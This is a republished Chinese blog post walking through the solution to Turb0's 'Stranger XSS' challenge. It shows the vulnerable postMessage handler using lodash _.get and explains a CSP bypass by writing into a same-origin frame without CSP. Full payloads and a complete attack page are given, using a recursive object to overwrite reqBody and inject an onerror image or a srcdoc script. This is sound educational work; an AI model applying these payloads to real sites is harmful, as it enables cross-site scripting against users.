当前位置: 首页 > news >正文

利用递归对象属性攻克Turb0的XSS挑战

利用递归对象属性攻克Turb0的XSS挑战

挑战概述

挑战地址:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html

我们获得了一个可嵌入的页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html

该页面加载了三个脚本:

<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

其中前两个是常见库,第三个是自定义脚本。inner.js包含以下内容:

const reHydrate = event => {const data = event.data;if (!data || typeof data !== "object") {log("Invalid message: not an object");return;}const { base, mappings } = data;if (!_.isObject(base) || !Array.isArray(mappings)) {log("Invalid payload structure: expected { base, mappings[] }");return;}for (const { from, to } of mappings) {const val = _.get(event, from);base.reqBody[to] = val;}return base;
}window.addEventListener("message", event => {const hydrated = reHydrate(event);fetch('mockedfakeapi', {headers: {"Content-Type": "application/json"},method: 'POST',body: hydrated.reqBody})
}, false);

页面通过meta标签设置了CSP策略:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

关键观察点

  1. 使用lodash进行对象属性检索:通过_.get函数
  2. jQuery未被使用:提示jQuery可能是预期的脚本小工具目标
  3. 隐式函数调用body: hydrated.reqBody行可能触发toString()方法调用
  4. 可控的赋值操作base.reqBody[to] = val;
  5. postMessage事件:允许通过event.sourceevent.target访问窗口对象

XSS通过赋值操作

如果仅通过base.reqBody[to] = val赋值来触发XSS,我们有几个有限的选项:

// 设置元素HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y// 设置元素on-*属性
elm.onclick = y // 等等...// 导航到js链接
window.location = y
iframe.src = y// 设置iframe的srcdoc
iframe.srcdoc = y

CSP绕过策略

CSP有两个关键点:

  1. 操作发起的来源
  2. 触发对象的位置

对于导航操作,浏览器会检查发起导航的文档的CSP。这意味着即使从具有CSP的页面尝试导航其他窗口,也会被阻止。

而DOM渲染(如elm.innerHTMLiframe.srcdoc)发生在目标帧的上下文中,忽略调用者的CSP。这意味着我们需要在同一源的窗口中使用innerHTML触发XSS。

使用递归对象绕过限制

核心突破点:我们可以控制data.reqBody指向的对象。通过创建递归对象:

var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}

完整解决方案

var payload = {base: {},mappings: [{from: "source.frames[1].document.body",  // 指向无CSP窗口的引用to: "reqBody",  // 覆盖正在被写入的属性!},{from: "data.xss",  // 获取XSS载荷to: "innerHTML",  // 写入innerHTML}],xss: "<img src=x onerror=alert(document.domain)>" // 载荷
}
payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")

这个方案的工作原理:

  1. 第一个映射将base.reqBody["reqBody"]设置为无CSP窗口的body元素,使得base.reqBody现在指向真实的DOM元素
  2. 第二个映射将XSS载荷写入base.reqBody["innerHTML"]
  3. XSS弹窗成功执行

完整攻击页面

<script>function run() {var payload = {base: {},mappings: [{from: "source.frames[1].document.body",to: "reqBody"}, {from: "data.xss",to: "innerHTML"}],xss: "<img src=x onerror=alert(document.domain)>"}payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

总结

  1. 使用对象递归可以通过属性赋值覆盖自身
  2. 通过将载荷写入另一个同源窗口的DOM来绕过CSP限制

其他变体解决方案

作者还提供了其他两种解决方案变体,展示了该技术的灵活性:

  1. 使用srcdoc属性
var payload = {base: {},mappings: [{from: "source.frames[0].frames[0].frameElement",to: "reqBody"}, {from: "data.xss",to: "srcdoc"}],xss: "<script>alert(document.domain)\u003c/script>"
}
  1. Turb0修改后的版本
var payload = {base: {},"mappings": [{"from": "target.Array","to": "reqBody"}, {"from": "target.eval","to": "isArray"}]
}

更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.rkmt.cn/news/75271.html

相关文章:

  • 2025年下半年四川成都食用油批发厂家综合选择指南
  • 2025年下半年四川成都植物油工厂综合评估与优质供应商推荐
  • 2025年下半年四川成都食用油工厂综合推荐与选择指南
  • 新手鱼竿怎么选?新手鱼竿推荐性价比高:双宝宏图综合竿高性价比必看
  • 2025中国鱼竿十大名单精选,玄图鲫鱼竿成新手入门优选利器
  • 哪家过碳酸钠供应商产品质量好?含氧量高?颗粒均匀的过碳酸钠厂家推荐
  • 不到80元的E88无刷电机无人机拆解
  • 基于风力光伏超级电容的混合三相逆变器控制策略simulink建模与仿真,包含MPPT和PID控制器
  • THINKCAR THINKTPMS G2 TPMS Diagnostic Tool: Activate Program 315/433MHz Sensors for Thinktool
  • 沉浸式体验集训队生活的一天
  • 修改matrix rain wallpaper
  • 高三闲话 #3
  • 走向价值共生:AI元人文的内观照叙事动力学与元治理范式
  • 2025 最新数字孪生服务商 / 厂家 TOP5 评测!科技赋能 + 全周期服务权威榜单发布,引领智慧工厂建设新生态
  • AI真好玩系列-WebGL爱心粒子手势互动教程 | Interactive Heart Particles with Hand Gestures
  • nccl-1_initialization bootstrap
  • 2025年评价高的草本床垫供应厂家TOP5推荐
  • 2025 最新智能运维服务商/ 厂家 TOP5 评测!科技赋能 + 全周期服务权威榜单发布,引领智慧工厂运维新生态
  • Ancel AD410 OBD2 Scanner - Multi-Language OBD2 Code Reader Error Eraser for European American Cars
  • 豆包碰壁微信,你只看热闹吗?个人数据归属的经济范式、法理解析 与我们的未来
  • 洛谷 P11345 [KTSC 2023 R2] 基地简化 题解
  • Visual Studio Installer 2022正在进行准备
  • ANCEL AS100 OBD2 Scanner: Full EOBD/OBDII/CAN BMW Check Engine Light Diagnostic Tool
  • 2025最新广东餐饮生鲜配送服务商/厂家TOP5推荐!深圳/广州/佛山/东莞全覆盖,全品类供应+一体化服务权威榜单发布,赋能餐饮企业降本增效新生态
  • SSM文创产品推荐环境设计与实现95ml5(工具+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,框架界面在末了面。
  • [模板] 字符串
  • 数据采集与融合技术作业4
  • 数字马力二面准备-后端开发郑州岗(校招)
  • 11.6
  • 触摸未来2025-11-09:万有力,图论革命 - 指南